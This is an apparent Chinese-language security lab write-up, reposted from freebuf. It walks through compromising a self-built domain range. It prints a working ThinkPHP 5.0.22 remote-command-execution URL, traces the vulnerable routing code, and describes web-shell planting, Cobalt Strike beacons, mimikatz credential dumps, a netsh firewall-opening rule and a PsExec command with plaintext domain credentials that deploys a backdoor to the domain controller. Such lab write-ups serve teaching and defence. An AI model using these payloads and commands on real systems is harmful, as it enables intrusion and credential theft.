—————— 昨日回顾 ——————
红日安全出品|转载请注明来源
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)
—————— —————— —————
Web安全新项目启程
大家好,Web安全小组开了一个新项目,为了更好的理解漏洞和提高自学能力,本次主要自己搭建靶场,编写系列攻防文档,文档内容必须包括 信息收集部分+漏洞挖掘部分(包括Web漏洞不少于两种或者是主机漏洞或者是其它中间件漏洞+代码审计部分(必须审计一种相关漏洞)+主机信息收集+提权 必须涵盖以上内容一个WP ,最后的提交内容(靶场+WP+自己设计题目的思路图)。另外Web 小组开始招新了,喜欢挑战自己,并且自学能力强的,欢迎加入红日!!!〜〜〜〜〜
环 境
Win7 +phpstudy+thinkphp(5.0.22)
ip 192.168.135.150
ip 192.168.138.136
Win2008
ip 192.168.138.138
攻击机 win10
ip 192.168.135.143
外 网 渗 透
访问192.168.135.150
目录扫描后发现一个robots.txt 和add.php后门
2.1
此处可以去用爆破工具爆破 也算一种方法
2.2
rce漏洞
输入错误页面 出现thinkphp版本号
找到此版本漏洞的poc 可以命令执行
http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
看下当前路径
写入一句话木马
代码审计分析
Rce payload
5.0.x补丁位置
https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
来到App.php 看看改之前的代码 controller没有做好过滤
1.因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数
2.由于$dispatch为空 进入routeCheck函数,路径变量$path为index/think\app/invokefunction
3.由于$result=false,会进入parseUrl函数
4.parseUrl函数在route.php里,/会换成|,进入parseUrlPath
5.此时explode函数把$url打散成了数组
6.回到parseUrl函数会进入else,然后return返回 封装路由后返回如下
7.把$route带到routeCheck函数,然后传给$result,再跳回run函数
8.保存了信息后$dispatch进入了exec函数
9.这里由于$dispatch的type为module,进入module
10.这里的$result值如下
11.接着往下跟 来到了补丁处 ,$controller就是$result第二个元素值,第二个红框处会改变操作名变量 $actionName为invokefunction
12.进入if语句后,会获取类名和方法名,最后return的值,$call如下,$var为空
13.$args会获取poc余下参数&function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,最后invokeargs函数以数组方式传递,执行call_user_func_array函数 相当于call_user_func_array(“system”,”whoami”)
14.最后回到exec &data也就是执行命令的回显数据
然后菜刀连接
当前权限是含有域环境的administrator权限
内 网 渗 透
3.1主机信息收集
看一下 arp信息 发现 138段有一台机器
看下ip dns 为192.168.138.138 域名sun.com
ping下sun.com
域控ip就是192.168.138.138
看下域用户
3.2
内网横向移动
接下来攻击域控就用cs来完成
首先要让我们win7上线 由于可以win7可以出网
创建监听器 之后生成windows的exe木马
生成之后传到受害主机上,运行cs.exe
主机上线 运行mimikatz 读到了域管理员的密码
此时还是administrator权限,这里用cs的提权方法
可以看到system权限的win7已经上线
去运行mimikatz读到了Administrator和leo的密码
得到凭证后可以扫一下内网可以用psexec登录的主机,基于ipc共享,要打开445端口才可以,所以扫一下445端口
portscan 192.168.138.0/24 445 arp 50
Portscan 网段 端口 协议(icmp arp none)线程
现在可以看到目标dc了
如果目标主机可以出网就可以用以下操作
由于这里的dc主机是不能出网的 但是cs服务端又是架设在互联网的
这时候就要用已经上线主机做listener 来让dc主机上线
在已经上线的主机上 创建listener
把6666端口来监听
可以看到已经开始监听了
这时候再来生成后门
选择新的listener
把自己的psexec 和 木马传到win7上
3.3
连接域控
由于win7开着防火墙,dc在连接6666端口时进不来
手动添加防火墙规则
netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666
到靶机看到命令行添加的规则
Shell C:\phpStudy\PHPTutorial\WWW\public\PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p dc123.com -d -c C:\phpStudy\PHPTutorial\WWW\public\nei.exe
此时可以看到dc主机也已经上线
又收到了新的密码
海量安全课程 点击以下链接 即可观看
http://qiyuanxuetang.net/courses/
来源:freebuf.com 2020-03-25 10:33:22 by: Setup
请登录后发表评论
注册